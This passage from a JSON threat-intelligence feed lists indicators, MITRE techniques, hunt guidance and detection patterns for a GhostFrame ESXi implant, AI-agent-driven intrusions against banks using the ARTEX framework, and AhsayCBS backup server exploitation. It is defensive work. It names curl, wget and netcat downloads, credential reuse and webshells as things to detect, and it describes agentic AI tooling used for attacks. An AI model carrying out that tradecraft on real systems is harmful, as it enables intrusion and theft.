"https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt.kql", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt.spl", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt_raw.spl", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt.yaral", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/iocs.csv", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware", "share_url": "https://iocwatch.com/t/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/", "indicators": [ { "value": "45.158.196.81", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GhostFrame C2 server used by TAG-218 to control implants on compromised VMware ESXi hosts.", "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_label": "Recorded Future Insikt Group – GhostFrame: A new ESXi Implant Linked to Settra Ransomware", "source_name": "Recorded Future", "sources": [ { "url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "name": "Recorded Future" } ] }, { "value": "45.158.196.141", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Second GhostFrame C2 server tied to TAG-218 infrastructure that receives ESXi implant connections.", "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_label": "Recorded Future Insikt Group – GhostFrame: A new ESXi Implant Linked to Settra Ransomware", "source_name": "Recorded Future", "sources": [ { "url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "name": "Recorded Future" } ] }, { "value": "193.5.65.114", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "MeshCentral remote management server used by TAG-218 for persistence, previously tied to Settra ransomware intrusions; a victim Fortinet VPN appliance beaconed to it on 12 Oct 2026.", "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_label": "Recorded Future Insikt Group – GhostFrame: A new ESXi Implant Linked to Settra Ransomware", "source_name": "Recorded Future", "sources": [ { "url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "name": "Recorded Future" } ] }, { "value": "a05eae6d07b82e2e5451a72266f21fbaf76486ef4920a820988de93e15353a10", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA-256 of the GhostFrame implant analysed by Insikt Group (ELF binary deployed on ESXi as vmhostd-core).", "source_url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "source_label": "Recorded Future Insikt Group – GhostFrame: A new ESXi Implant Linked to Settra Ransomware", "source_name": "Recorded Future", "sources": [ { "url": "https://www.recordedfuture.com/blog/ghostframe-esxi-implant-settra-ransomware", "name": "Recorded Future" }, { "url": "https://bazaar.abuse.ch/sample/a05eae6d07b82e2e5451a72266f21fbaf76486ef4920a820988de93e15353a10/", "name": "MalwareBazaar" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt.kql", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt.spl", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt_raw.spl", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware/hunt.yaral", "download": "GhostFrame-ESXi-Hypervisor-Implant-Settra-Ransomware_hunt.yaral" } ] }, { "id": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector", "folder": "threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector", "name": "Storm-3358 ARTEX Agentic Intrusions Against the Financial Sector", "short": "Storm-3358 ARTEX financial intrusions", "category": "Financially motivated intrusion / financial sector", "published": "2026-11-06", "entry_date": "2026-11-11 03:52", "last_updated": "2026-11-12 15:11", "seq": 12, "headline": "Agentic AI framework used to exploit web apps at banks and drop WISP, vshell and AdaptixC2 RATs", "summary": "Microsoft Threat Intelligence reports that Storm-3358, a financially motivated, Cambodia-based intrusion cluster, began targeting financial organisations in October 2026 with ARTEX, an open-source agentic penetration testing framework. Most targets are financial organisations in Southeast Asia, with a smaller number of large financial organisations globally. The ARTEX agents scan internet-facing systems at machine speed, exploit anonymous file upload and server-side request forgery (SSRF) flaws in web applications, then use curl and netcat to pull down the open-source WISP, vshell and AdaptixC2 remote access trojans for persistence and lateral movement. Microsoft listed the ARTEX servers and C2 nodes below as active on 6 November 2026; the actor rotates infrastructure, so behaviour-based hunting matters as much as blocking. On 11 November 2026 Unit 42 published a defender guide to ARTEX and similar agentic tools, describing the same class of machine-speed behaviour: short bursts of one to 14 requests then a 25 to 31 second pause, self-correction after failed requests, a GET after almost every successful write, write-then-delete tests on storage buckets, canary usernames and placeholder values (research examples only, not indicators to block), and use of a stolen credential within about a minute of discovery. Unit 42 did not publish new network indicators. Sophos X-Ops later described the same class of ARTEX tradecraft, including short-lived scripts under C:\\Windows\\Temp with names such as i12345_b2.ps1 or artx*, command markers such as MARKER123 and ARTX123, and Entra ID application credential and role changes. Sophos did not publish new network indicators.", "caveat": null, "targets": { "countries": [], "regions": [ "Southeast Asia", "Global" ], "sectors": [ "Financial services" ], "note": "Primarily financial organisations in Southeast Asia, plus a smaller number of large financial organisations globally.", "source": { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "name": "Microsoft" } }, "mitre": [ { "id": "T1595", "name": "Active Scanning", "url": "https://attack.mitre.org/techniques/T1595/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1053.003", "name": "Cron", "url": "https://attack.mitre.org/techniques/T1053/003/" }, { "id": "T1110", "name": "Brute Force", "url": "https://attack.mitre.org/techniques/T1110/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" } ], "recommended_actions": [ "Block the ARTEX server and C2 addresses at the perimeter and in Defender XDR, and search 30 days of firewall, proxy and web server logs for them.", "Inventory internet-facing upload endpoints and server-side URL fetch features (document portals, onboarding and KYC forms, webhooks, PDF and image processors); require authentication on uploads and restrict outbound destinations.", "Hunt for web server processes spawning a shell, curl, wget or nc, new binaries run from temp or world-writable paths, and new cron entries on web hosts.", "Watch for bursts of rapid, retried requests with default tool user agents (Nmap, curl, python-requests, headless Chromium) against public web applications.", "Hunt for ARTEX-like operator behaviour described by Unit 42: short request bursts with a 25-31 second pause, a GET after each successful write, write-then-delete tests on storage buckets, placeholder inputs immediately before real credentials, and a cloud credential used within about 60 seconds of being retrieved, often from a new IP. Do not treat research examples such as evil.com as indicators, and do not block them.", "Hunt for temporary files under C:\\Windows\\Temp whose names start with artx or match i_*.ps1, and for command lines containing MARKER123 or ARTX123 (Sophos X-Ops).", "Review Entra ID audit logs for application credentials added or roles assigned by an application, especially in financial tenants." ], "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "name": "Microsoft" }, { "url": "https://unit42.paloaltonetworks.com/artex-and-ai-powered-red-teaming-tools/", "label": "Unit 42 – ARTEX and AI-Powered Red Teaming Tools: What Defenders Need to Know", "name": "Unit 42" }, { "url": "https://www.sophos.com/en-us/blog/artex-attackers-apply-agentic-ai", "label": "Sophos X-Ops – ARTEX attackers apply agentic AI", "name": "Sophos" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "label": "FBI FLASH-20261113-001 – Threat Overview of ARTEX Autonomous Penetration Testing Framework", "name": "FBI IC3" }, { "url": "https://urlhaus.abuse.ch/host/85.11.167.52/", "label": "urlhaus.abuse.ch", "name": "URLhaus" } ], "indicator_count": 8, "block_now_count": 8, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "ipv4": 8 }, "ioas": [ { "artefact": "A web server process starting curl, wget, nc, ncat, netcat or a shell", "log_source": "EDR process events on internet-facing web servers", "why": "Microsoft saw ARTEX agents use curl and netcat to download the WISP, vshell and AdaptixC2 RATs after exploiting upload and SSRF flaws.", "action": "alert", "has_query": true, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_name": "Microsoft", "title": "Web server starting a downloader or shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Bursts of many varied requests from one source in minutes, with default tool user agents (Nmap, curl, wget, Python HTTP clients, headless Chromium or Playwright)", "log_source": "Web server, WAF and reverse-proxy logs", "why": "Microsoft describes agentic scanning as many varied requests in a short time, at machine speed. The agent changes user agents quickly, so use this to alert, not to block.", "action": "hunt", "has_query": true, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_name": "Microsoft", "title": "Rapid scanning with default scanner user agents", "queries": [ "KQL", "SPL" ] }, { "artefact": "New cron jobs, and new binaries run from temporary or world-writable folders, on web hosts", "log_source": "EDR process and file events", "why": "Microsoft lists suspicious cron job creation and processes launched from world-writable directories among the detections for this activity.", "action": "hunt", "has_query": false, "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_name": "Microsoft", "title": "New cron jobs and temp-folder binaries on web hosts", "queries": [ "SPL" ] }, { "artefact": "Short bursts of about 1 to 14 web or API requests a second apart, then a 25 to 31 second pause, consistent with waiting on a model inference call", "log_source": "Web server, WAF and reverse-proxy logs", "why": "Unit 42's ARTEX defender guide describes this think-then-act cadence as a hallmark of agentic tooling, alongside machine-speed pivots after a credential is found.", "action": "hunt", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/artex-and-ai-powered-red-teaming-tools/", "source_name": "Unit 42", "title": "Inference-paced request bursts then a pause", "queries": [ "KQL", "SPL" ] }, { "artefact": "A GET to the same path after a successful write, or a write-then-delete test against a storage bucket or object, from the same source in a short window", "log_source": "Web, API and cloud audit logs (including AWS S3)", "why": "Unit 42 observed ARTEX agents checking their own work with a GET after almost every successful write, and running write-then-delete tests on storage buckets.", "action": "hunt", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/artex-and-ai-powered-red-teaming-tools/", "source_name": "Unit 42", "title": "Write then GET or write-then-delete checks", "queries": [ "KQL", "SPL" ] }, { "artefact": "Placeholder or canary usernames and values sent immediately before real credentials in the same authentication or API session", "log_source": "Web application, identity and API logs", "why": "Unit 42 saw ARTEX agents test canary inputs, such as bogus usernames, before real ones. Published research examples included evil.com, test@example.com and deadbeefdeadbeefdeadbeef12; those are illustrations, not indicators to block. Hunt the pattern in your logs.", "action": "hunt", "has_query": false, "source_url": "https://unit42.paloaltonetworks.com/artex-and-ai-powered-red-teaming-tools/", "source_name": "Unit 42", "title": "Canary inputs immediately before real credentials", "queries": [] }, { "artefact": "A stolen or newly retrieved cloud credential used within about 60 seconds of being discovered, often from a new IP address", "log_source": "AWS CloudTrail, identity-provider and cloud audit logs (Defender XDR CloudAppEvents)", "why": "Unit 42 observed ARTEX operators pivot within about a minute of a credential download, including validating more than 200 client secrets in about three minutes, and recommended hunting first use of a cloud key from a new IP.", "action": "hunt", "has_query": true, "source_url": "https://unit42.paloaltonetworks.com/artex-and-ai-powered-red-teaming-tools/", "source_name": "Unit 42", "title": "Cloud credential reused within 60 seconds from a new IP", "queries": [ "KQL", "SPL" ] }, { "artefact": "Temporary files under C:\\Windows\\Temp whose names start with artx or match i_*.ps1, such as i12345_b2.ps1", "log_source": "EDR file events on Windows endpoints, especially in financial tenants", "why": "Sophos X-Ops describes ARTEX operators dropping short-lived PowerShell scripts under C:\\Windows\\Temp with names like i12345_b2.ps1 or artx*.", "action": "hunt", "has_query": true, "source_url": "https://www.sophos.com/en-us/blog/artex-attackers-apply-agentic-ai", "source_name": "Sophos", "title": "ARTEX temp scripts under Windows\\Temp", "queries": [ "KQL", "SPL" ] }, { "artefact": "Command lines containing MARKER123 or ARTX123", "log_source": "EDR process events", "why": "Sophos X-Ops reported ARTEX operators using MARKER123 and ARTX123 as command markers during intrusions.", "action": "alert", "has_query": true, "source_url": "https://www.sophos.com/en-us/blog/artex-attackers-apply-agentic-ai", "source_name": "Sophos", "title": "ARTEX MARKER123 or ARTX123 command markers", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "An Entra ID application adding a credential or assigning a role", "log_source": "Entra ID audit and directory logs", "why": "Sophos X-Ops describes ARTEX follow-on activity that adds application credentials and assigns roles in Entra ID, including against financial organisations.", "action": "hunt", "has_query": true, "source_url": "https://www.sophos.com/en-us/blog/artex-attackers-apply-agentic-ai", "source_name": "Sophos", "title": "Entra app adding credentials or assigning roles", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 10, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/block_now.txt", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/defender_xdr_indicators.csv", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt.kql", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt.spl", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt_raw.spl", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt.yaral", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/iocs.csv", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector", "share_url": "https://iocwatch.com/t/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/", "indicators": [ { "value": "199.19.95.66", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "WISP remote access trojan C2 node used by Storm-3358 against financial organisations, first seen 2 Nov 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "199.19.95.67", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "WISP remote access trojan C2 node used by Storm-3358 against financial organisations, first seen 2 Nov 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "199.19.95.68", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "WISP remote access trojan C2 node used by Storm-3358 against financial organisations, first seen 2 Nov 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "91.92.240.238", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "ARTEX agentic attack framework server that scanned and exploited internet-facing web applications, first seen 4 Nov 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "85.11.168.45", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "ARTEX agentic attack framework server that scanned and exploited internet-facing web applications, first seen 4 Nov 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "85.11.167.52", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Storm-3358 command-and-control server, first seen 4 Nov 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://urlhaus.abuse.ch/host/85.11.167.52/", "name": "URLhaus" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "178.16.54.129", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "ARTEX agentic attack framework server, first seen 19 Oct 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "31.77.229.35", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "ARTEX agentic attack framework server, first seen 28 Oct 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "source_label": "Microsoft Threat Intelligence – ARTEX abuse expands as cybercriminals target financial sector", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/06/artex-abuse-expands-as-cybercriminals-target-financial-sector/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt.kql", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt.spl", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt_raw.spl", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector/hunt.yaral", "download": "Storm-3358-ARTEX-Agentic-Intrusions-Financial-Sector_hunt.yaral" } ] }, { "id": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant", "folder": "threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant", "name": "AhsayCBS Backup Server Exploitation: Webshells, Cryptominer and Python Implant", "short": "AhsayCBS backup server exploitation", "category": "Exploitation / backup server", "published": "2026-11-09", "entry_date": "2026-11-10 21:52", "last_updated": "2026-11-10", "seq": 11, "headline": "Backup server auth bypass and RCE used to plant webshells, a cryptominer and a Python implant", "summary": "Attackers are chaining CVE-2026-105133 (authentication bypass) and CVE-2026-105134 (unauthenticated remote code execution as SYSTEM through /rps/api/json/UpdateReceivers.do) against internet-facing AhsayCBS backup servers, which managed service providers and backup resellers use to hold customer backups. Huntress found three compromised servers in one environment between 8 and 11 October 2026, with five families of JSP webshells in webapps\\cbs and webapps\\rps, an XMRig miner run every minute by a SYSTEM scheduled task, gost and chisel tunnels, Defender exclusions, and a sandbox-evading Python implant that loads an in-memory DLL and talks to its C2 over HTTPS with DNS-over-HTTPS lookups. Fixed versions are AhsayCBS 10.3.4.45 (v10) and 9.15.2.70 (v7 to v9); patching does not remove planted files.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [], "note": "Huntress describes one impacted organisation and backup servers as the target, without naming a country or sector.", "source": { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "name": "Huntress" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1059.003", "name": "Windows Command Shell", "url": "https://attack.mitre.org/techniques/T1059/003/" }, { "id": "T1059.006", "name": "Python", "url": "https://attack.mitre.org/techniques/T1059/006/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1547.001", "name": "Registry Run Keys / Startup Folder", "url": "https://attack.mitre.org/techniques/T1547/001/" }, { "id": "T1562.001", "name": "Disable or Modify Tools", "url": "https://attack.mitre.org/techniques/T1562/001/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1496", "name": "Resource Hijacking", "url": "https://attack.mitre.org/techniques/T1496/" } ], "recommended_actions": [ "Patch AhsayCBS to 10.3.4.45 or 9.15.2.70 and take the management interface off the internet where possible.", "Block the C2 domain, URL and the file hashes marked block; alert on the mining pool and the gost and chisel hashes.", "Look for unexpected .jsp files under webapps\\cbs and webapps\\rps, requests to UpdateReceivers.do, a SYSTEM task named kvm, a local account named wdguest and Defender exclusions you did not add.", "If compromised, re-image from a trusted backup and rotate every credential stored in or reachable from the server, including those saved in AhsayCBS." ], "sources": [ { "url": "https://www.huntress.com/blog/ahsaycbs-webshells", "label": "Huntress – Inside an AhsayCBS Intrusion: Hidden Webshells, a CryptoMiner, and a C2 Implant", "name": "Huntress" } ], "indicator_count": 25, "block_now_count": 16, "hunt_count": 9, "hunt_counts": { "alert": 9 }, "indicator_counts": { "sha256": 16, "filename": 4, "domain": 2, "ipv4": 1, "url": 1, "xmr_address": 1 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/block_now.txt", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/defender_xdr_indicators.csv", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt.kql", "download": "AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/AhsayCBS-Backup-Server-Exploitation-Webshells-Python-Implant/hunt.spl", "download": 